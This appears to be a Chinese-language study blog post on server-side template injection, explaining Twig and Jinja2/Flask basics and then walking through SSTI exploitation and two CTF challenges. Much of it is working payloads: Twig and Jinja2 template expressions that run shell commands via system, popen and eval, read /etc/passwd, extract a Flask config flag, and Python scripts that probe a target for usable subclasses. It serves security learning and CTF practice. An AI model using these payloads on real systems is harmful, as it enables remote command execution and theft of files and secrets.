1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
SSTI payload记录 | 郁涛丶’s Blog (ghostasky.github.io)
大纲参考:
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)
SSTI payload记录 | 郁涛丶’s Blog (ghostasky.github.io)
这里只是了解一下模板的大致原理,不对如何构造payload过多强求
对于绕过黑名单的一些方法等后续遇到一个学一个,这里也不过多耗费精力,因为根本记不住hh
PHP ssti
composer
Composer 安装与使用 | 菜鸟教程 (runoob.com)
箭头函数
箭头函数 - JavaScript | MDN (mozilla.org)
搞明白JavaScript中的匿名函数 - 知乎 (zhihu.com)
箭头函数表达式的语法比函数表达式更简洁,并且没有自己的this
,arguments
,super
或new.target
。箭头函数表达式更适用于那些本来需要匿名函数的地方,并且它不能用作构造函数。
Twig 基础
PHP Twig 教程|极客教程 (geek-docs.com)
先按照教程尝试简单的例子来了解Twig如何运作:
first.php:
<?php
require __DIR__ . '/vendor/autoload.php';
use Twig\Environment;
use Twig\Loader\FilesystemLoader;
$loader = new FilesystemLoader(__DIR__ . '/templates');
$twig = new Environment($loader);
echo $twig->render('first.html.twig', ['name' => 'John Doe',
'occupation' => 'gardener']);
这里使用FilesystemLoader
从指定目录加载模板
输出通过render()
生成。 它带有两个参数:模板文件和数据。
这里再补充一下render(),大概就是渲染加载的意思:
Vue中 渲染函数(render)的介绍和应用 - 掘金 (juejin.cn)
templates/first.html.twig
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<p>
{{ name }} is a {{ occupation }}
</p>
</body>
</html>
变量以{{}}
语法输出。
filters.php
<?php
require __DIR__ . '/vendor/autoload.php';
use Twig\Environment;
use Twig\Loader\FilesystemLoader;
$loader = new FilesystemLoader(__DIR__ . '/templates');$twig = new Environment($loader);$words = ['sky', 'mountain', 'falcon', 'forest', 'rock', 'blue'];
$sentence = 'today is a windy day';
echo $twig->render('filter.html.twig',
['words' => $words, 'sentence' =>$sentence]);
templates/filters.html.twig
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Filters</title>
</head>
<body>
<p>
The array has {{ words | length }} elements
</p>
<p>
Joined array elements: {{ words | join(',') }}
</p>
<p>
{{ sentence | title }}
</p>
</body>
</html>
if 、for等内容不再赘述,看看set标签:
set
标签
允许将值设置为模板内的变量。
$words = ['sky', 'mountain', 'falcon', 'forest',
'rock', 'blue', 'solid', 'book', 'tree'];
echo $twig->render('test.html.twig', ['words' => $words]);
{% set sorted = words | sort %}
<ul>
{% for word in sorted %}
{{ word }}
{% endfor %}
</ul>
verbatim标签
verbatim
将部分标记为不应该分析的原始文本。
{% verbatim %}
{% for word in words %}
- {{ word }}
{% endfor %}
{% endverbatim %}
Twig 自动转义
Twig 自动转义某些字符,例如<或>。可以使用autoescape
选项关闭自动转义
$twig = new Environment($loader, [
'autoescape' => false
]);
$data = "<script src='http::/example.com/nastyscript.js'></script>";
echo $twig->render('autoescape.html.twig', ['data' => $data]);
<p>
The data is {{ data }}
</p>
<p>
The data is {{ data | raw }}
</p>
如果启用了自动转义,我们可以使用raw
过滤器显示原始输入。
<p>
The data is <script src='http://example.com/nastyscript.js'></script>
</p>
<p>
The data is <script src='http://example.com/nastyscript.js'></script>
</p>
其后的内容暂不研究,先回到主题–SSTI
Twig SSTI
这里研究一下这篇博客:TWIG 全版本通用 SSTI payloads - 先知社区 (aliyun.com)
map
map
对应的函数是twig_array_map
,下面是其实现
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);
}
return $r;
}
从上面的代码我们可以看到,$arrow 是可控的,将数组的键值对分别作为箭头函数的两个参数,然后将执行结果赋值给$r,漏洞就来自这里。
arrow function最后会变成一个closure
举个例子
{{["man"]|map((arg)=>"hello #{arg}")}}
会被编译成(在 Twig 模板引擎中,#{}
用于将变量的值嵌入到字符串中。)
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__;
return ("hello " . ($context["arg"] ?? null))
在这里,__arg__
是 twig_array_map
中数组的每个元素,而不是一个回调函数的参数。在匿名函数的闭包内,__arg__
代表了数组中的当前元素。
可以不传arrow function,可以只传一个字符串。
所以我们需要找个两个参数的能够命令执行的危险函数即可。通过查阅常见的命令执行函数:
system ( string
$command
[, int&$return_var
] ) : stringpassthru ( string
$command
[, int&$return_var
] )exec ( string
$command
[, array&$output
[, int&$return_var
]] ) : stringpopen ( string
$command
, string$mode
)shell_exec ( string
$cmd
) : string
如果以上都被ban了,那么使用{{{" 可以写个shell,实际上它相当于执行:
file_put_contents("/var/www/html/shell.php","<?php phpinfo();")
要注意参数顺序
其他的暂不研究,上一下目前的payload:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"
php 中的模板还有一些,暂时先放一放,原理应该大同小异,接下来先看看python下的模板注入:
python ssti
这里还是顺带以flask为入口简单了解一下python web:
Flask之最易懂的基础教程一(2020年最新-从入门到精通)-CSDN博客
简单使用:
# 导入Flask类库
from flask import Flask
# 创建应用实例
app = Flask(__name__)
# 视图函数(路由)
@app.route('/')
def index():
return '<h1>Hello Flask!<h1>'
# 启动实施(只在当前模块运行)
if __name__ == '__main__':
app.run()
这里可以设置app.run(debug=True)方便调试
带参数的视图函数:
# 导入Flask类库
from flask import Flask
# 创建应用实例
app = Flask(__name__)
# 视图函数(路由)
@app.route('/user/<username>')
def setname(username):
username='2333'
return username
def say_hello(username):
return '<h1>Hello %s !<h1>' % username
# 启动实施(只在当前模块运行)
if __name__ == '__main__':
app.run(debug=True)
这里一个路由下可以有多个视图函数,但是返回值值能时最后一个视图函数的返回值,因为依次执行视图函数后后面的覆盖前面的
关于参数:
参数要写在<>中、
视图函数的参数要与路由中的一致
也可以指定参数类型(int/float/path),默认是字符串
**
int
**:匹配一个整数类型的 URL 变量。**
float
**:匹配一个浮点数类型的 URL 变量。**
path
**:匹配一个字符串类型的 URL 变量,但不限制其内容,可以包含斜杠/
。@app.route(‘/user/path:info‘)
获取request请求值
# 导入Flask类库
from flask import Flask,request
# 创建应用实例
app = Flask(__name__)
# request
@app.route('/request/<path:info>')
def request_url(info):
# 完整的请求URL
return request.url
'''
url:127.0.0.1:5000/request/abc/def?username=xiaoming&pwd=123
网页返回值:http://127.0.0.1:5000/request/abc/def?username=xiaoming&pwd=123
'''
# 去掉GET参数的URL
return request.base_url
'''
网页返回值:http://127.0.0.1:5000/request/abc/def
'''
# 只有主机和端口的URL
return request.host_url
'''
网页返回值:http://127.0.0.1:5000/
'''
# 装饰器中写的路由地址
return request.path
'''
网页返回值:/request/abc/def
'''
# 请求方法类型
return request.method
'''
网页返回值:GET (也有可能是POST)
'''
# 远程地址
return request.remote_addr
'''
网页返回值:127.0.0.1:5000
'''
# 获取url参数
return request.args.get('username')
return request.args.get('pwd')
return str(request.args)
# 获取headers信息
return request.headers.get('User-Agent')
# 启动实施(只在当前模块运行)
if __name__ == '__main__':
app.run()
响应的构造(make_response)
from flask import Flask,make_response
app = Flask(__name__)
@app.route('/response/')
def response():
# 不指定状态码,默认为200,表示OK
# return ‘OK’
# 构造一个404状态码
# 方法一
return 'not fount',404
# 方法二
# 导入make_response
# 自定义构造一个响应,然后返回200,构造也可以指定状态码404
res = make_response('我是通过函数构造的响应',404)
return res
if __name__ == '__main__':
app.run()
其他一些开发细节暂不深入,先看一下jinja2
先看一看介绍:
Flask模板
- 模板介绍:
结构清晰、易于维护的代码开发原则是程序员追求的目标之一。目前我们所写的代码都比较简单,但是很明显的可以预见的一个问题是,当项目越来越复杂时,视图函数将变得异常庞大和繁琐,因为视图函数中存放了业务逻辑和表现逻辑。
解决这类问题的通用方法是将不同种类的逻辑分开存放:
业务逻辑:存放在视图函数中,专门处理用户的业务需求;
表现逻辑:存放在单独的模板文件夹中,负责表现效果。 - 模板引擎
指定了一套特定的语法来实现表达逻辑,提供了一种专门的替换接口将模板文件换成目标文件(html)。——flask中提供了专门的模板引擎(jinja2)
看起来模板主要是接管了表现效果的单独文件夹,先看一个简单的例子:
from flask import Flask,render_template,render_template_string,g
from flask_script import Manager
app = Flask(__name__)
manager = Manager(app)
@app.route('/index')
def index():
# return '模板引擎测试'
# 渲染模板文件
return render_template('index.html')
@app.route('/index/<name>')
def welcome(name):
# 变量参数写在渲染函数的后面作为参数,前面的name是形参,后面的name是渲染模板中的解析内容
# return render_template('index.html',name=name)
# 第二种方法,使用render_template_string(渲染字符串)
# return render_template_string('<h2>hello {{ name }} ! <h2>',name=name)
# 第三种方法,使用 g(全局函数),不需要分配就可以在模板中使用,
# 只需要给定渲染模板即可;
g.name = name
return render_template('index.html')
if __name__ == '__main__':
manager.run()
在 Flask 中,默认情况下,
render_template('index.html')
会在指定的模板文件夹内查找名为index.html
的模板文件。Flask 默认的模板文件夹是项目根目录下的
templates
文件夹。所以,如果你的index.html
文件位于templates
文件夹下,那么render_template('index.html')
将会在这个文件夹中查找并渲染index.html
文件。如果你的
index.html
文件不在默认的templates
文件夹中,而是在其他文件夹,你可以通过指定文件夹路径的方式告诉 Flask 在哪里找到模板文件。你需要在创建 Flask 应用时通过指定template_folder
参数来设置模板文件夹的路径,如下所示:pythonCopy code app = Flask(__name__, template_folder='your_template_folder_path')
确保将
'your_template_folder_path'
替换为实际存储模板文件的文件夹路径。这样 Flask 就会在指定的文件夹中查找并渲染模板文件。
然后这里也可以使用函数-类似twig中的filter:
类的知识总结
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常见过滤器
Jinja2 Tutorial - Part 4 - Template filters | (ttl255.com)
常用的过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
其他的开发类容暂不探究
jinja SSTI
CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎 (zhihu.com)
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
- __dict__:保存类实例或对象实例的属性变量键值对字典
- __class__:返回调用的参数类型
- __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- __bases__:返回类型列表
- __subclasses__:返回object的子类
- __init__:类的初始化方法
- __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
base 和 mro 都是用来寻找基类的。
我们可以使用
for i, subclass in enumerate(str.__class__.__mro__[-1].__subclasses__()):
print(i, subclass)
来方便查阅我们需要的某个子类的索引:
SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。
以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区 (aliyun.com)
__builtins__
:以一个集合的形式查看其引用
内建函数
当我们启动一个python解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。
内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。
__builtins__
方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。
__globals__
:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__import__()`:该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 `__import__()` 来动态载入,就是 `import`。语法:`__import__(模块名)
这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。总之,是通过python的对象的继承来一步步实现文件读取和命令执行的:
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
一些使用到的类或方法:
文件读取
python2——file类:
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
Python3——使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'>
这个类去读取文件。首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'>
这个类索引号:
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'FileLoader' in res.text:
print(i)
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
内建函数 eval 执行命令
- warnings.catch_warnings
- WarningMessage
- codecs.IncrementalEncoder
- codecs.IncrementalDecoder
- codecs.StreamReaderWriter
- os._wrap_close
- reprlib.Repr
- weakref.finalize
首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
使用eval函数执行命令也是调用的os模块
Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)
随便挑一个类构造payload执行命令即可:
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。
我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close
,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'popen' in res.text:
print(i)
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
还有一些内容,这里就不搬过来了,可以自行查看以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区 (aliyun.com)
这里还是找几个靶场检验一下
靶场
shrine
题目源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
现在看这个题就比较清晰了,waf了config和self,但flag放在了config中,如果没有黑名单的时候,我们可以传入 config,或者传入获取,这里还要再去查一下这个config:
Flask项目配置(Configuration) - 知乎 (zhihu.com)
flask的配置项及获取 - 安迪9468 - 博客园 (cnblogs.com)
从第二篇博客中我们发现可以使用current_app:
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
easytornado
在提示中我们知道需要获取一个cookie-secret的值,我们还需要补充一些知识:
python SSTI tornado render模板注入 - Hanamizuki花水木 - 博客园 (cnblogs.com)